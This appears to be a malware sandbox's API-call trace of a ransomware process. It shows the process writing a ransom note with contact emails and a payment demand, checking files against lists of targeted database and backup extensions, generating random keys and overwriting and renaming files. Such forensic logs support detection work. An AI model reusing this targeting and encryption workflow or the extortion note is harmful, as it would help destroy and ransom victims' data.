	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28076b8 | out: hHeap=0x300000) returned 1
	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba700
	[0086.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba700 | out: hHeap=0x300000) returned 1
	[0086.062] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.062] GetLastError () returned 0x0
	[0086.063] GetLastError () returned 0x0
	[0086.063] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.063] GetLastError () returned 0x0
	[0086.063] GetLastError () returned 0x0
	[0086.064] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffd9b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.064] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x265, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x265, lpOverlapped=0x0) returned 1
	[0086.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.064] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.065] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.065] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.065] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.065] CloseHandle (hObject=0x11c) returned 1
	[0086.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.065] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.~~~~")) returned 1
	[0086.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.066] GetLastError () returned 0x0
	[0086.066] RtlWakeConditionVariable () returned 0x365f70
	[0086.066] GetCurrentThreadId () returned 0xaf0
	[0086.066] GetCurrentThreadId () returned 0xaf0
	[0086.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba8f8
	[0086.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba850 | out: hHeap=0x300000) returned 1
	[0086.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6240 | out: hHeap=0x300000) returned 1
	[0086.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0086.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.175] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.175] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.177] CloseHandle (hObject=0x124) returned 1
	[0086.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba850 | out: hHeap=0x300000) returned 1
	[0086.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba8f8 | out: hHeap=0x300000) returned 1
	[0086.177] RtlWakeConditionVariable () returned 0x365f70
	[0086.177] GetCurrentThreadId () returned 0xaf0
	[0086.177] GetCurrentThreadId () returned 0xaf0
	[0086.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba8f8
	[0086.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4508 | out: hHeap=0x300000) returned 1
	[0086.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6668 | out: hHeap=0x300000) returned 1
	[0086.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4508
	[0086.177] lstrlenW (lpString=".scr") returned 4
	[0086.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0086.177] lstrlenW (lpString=".cmd") returned 4
	[0086.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0086.177] lstrlenW (lpString=".dll") returned 4
	[0086.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0086.177] lstrlenW (lpString=".bat") returned 4
	[0086.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0086.177] lstrlenW (lpString=".cpl") returned 4
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0086.178] lstrlenW (lpString=".sys") returned 4
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0086.178] lstrlenW (lpString=".msc") returned 4
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0086.178] lstrlenW (lpString=".com") returned 4
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0086.178] lstrlenW (lpString=".lnk") returned 4
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0086.178] lstrlenW (lpString=".msp") returned 4
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0086.178] lstrlenW (lpString=".pif") returned 4
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0086.178] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0086.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.245] lstrlenW (lpString=".sqb") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.245] lstrlenW (lpString=".ost") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.245] lstrlenW (lpString=".txt") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.245] lstrlenW (lpString=".mdt") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.245] lstrlenW (lpString=".BDB") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.245] lstrlenW (lpString=".eql") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.245] lstrlenW (lpString=".DBF") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.245] lstrlenW (lpString=".EQL") returned 4
	[0086.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.245] lstrlenW (lpString=".FDB") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.246] lstrlenW (lpString=".EDB") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.246] lstrlenW (lpString=".DACPAC") returned 7
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.246] lstrlenW (lpString=".VHD") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.246] lstrlenW (lpString=".DBV") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.246] lstrlenW (lpString=".dacpac") returned 7
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.246] lstrlenW (lpString=".sdf") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.246] lstrlenW (lpString=".accdb") returned 6
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.246] lstrlenW (lpString=".DBX") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.246] lstrlenW (lpString=".MDT") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.246] lstrlenW (lpString=".SQB") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.246] lstrlenW (lpString=".vhd") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.246] lstrlenW (lpString=".bac") returned 4
	[0086.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.246] lstrlenW (lpString=".mdf") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.247] lstrlenW (lpString=".BAK") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.247] lstrlenW (lpString=".BAC") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.247] lstrlenW (lpString=".dbs") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.247] lstrlenW (lpString=".vhdx") returned 5
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.247] lstrlenW (lpString=".NDF") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.247] lstrlenW (lpString=".dat") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.247] lstrlenW (lpString=".DBS") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.247] lstrlenW (lpString=".CKP") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.247] lstrlenW (lpString=".edb") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.247] lstrlenW (lpString=".PST") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.247] lstrlenW (lpString=".dbf") returned 4
	[0086.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.247] lstrlenW (lpString=".SQL") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.248] lstrlenW (lpString=".pst") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.248] lstrlenW (lpString=".dbv") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.248] lstrlenW (lpString=".SDF") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.248] lstrlenW (lpString=".dtxs") returned 5
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.248] lstrlenW (lpString=".db3") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.248] lstrlenW (lpString=".OST") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.248] lstrlenW (lpString=".dbx") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.248] lstrlenW (lpString=".DB3") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.248] lstrlenW (lpString=".DAT") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.248] lstrlenW (lpString=".VHDX") returned 5
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.248] lstrlenW (lpString=".ndf") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.248] lstrlenW (lpString=".DB") returned 3
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.248] lstrlenW (lpString=".sql") returned 4
	[0086.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.249] lstrlenW (lpString=".MYD") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.249] lstrlenW (lpString=".DBT") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.249] lstrlenW (lpString=".ACCDB") returned 6
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.249] lstrlenW (lpString=".fdb") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.249] lstrlenW (lpString=".bak") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.249] lstrlenW (lpString=".myd") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.249] lstrlenW (lpString=".DTXS") returned 5
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.249] lstrlenW (lpString=".ckp") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.249] lstrlenW (lpString=".dbt") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.249] lstrlenW (lpString=".db") returned 3
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.249] lstrlenW (lpString=".TXT") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.249] lstrlenW (lpString=".MDF") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.249] lstrlenW (lpString=".bdb") returned 4
	[0086.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.250] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.250] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.251] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.251] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.251] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20624129131) returned 1
	[0086.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d374870, dwHighDateTime=0x1d60e1e)) 
	[0086.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6a78
	[0086.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a78 | out: hHeap=0x300000) returned 1
	[0086.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0086.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0086.252] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.252] GetLastError () returned 0x0
	[0086.252] GetLastError () returned 0x0
	[0086.252] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.252] GetLastError () returned 0x0
	[0086.253] GetLastError () returned 0x0
	[0086.255] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff95d7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.255] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x6a29, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6a29, lpOverlapped=0x0) returned 1
	[0086.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
